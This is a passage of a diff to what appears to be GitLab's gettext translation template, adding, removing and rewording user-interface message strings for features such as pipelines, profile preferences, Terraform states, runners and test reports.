+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
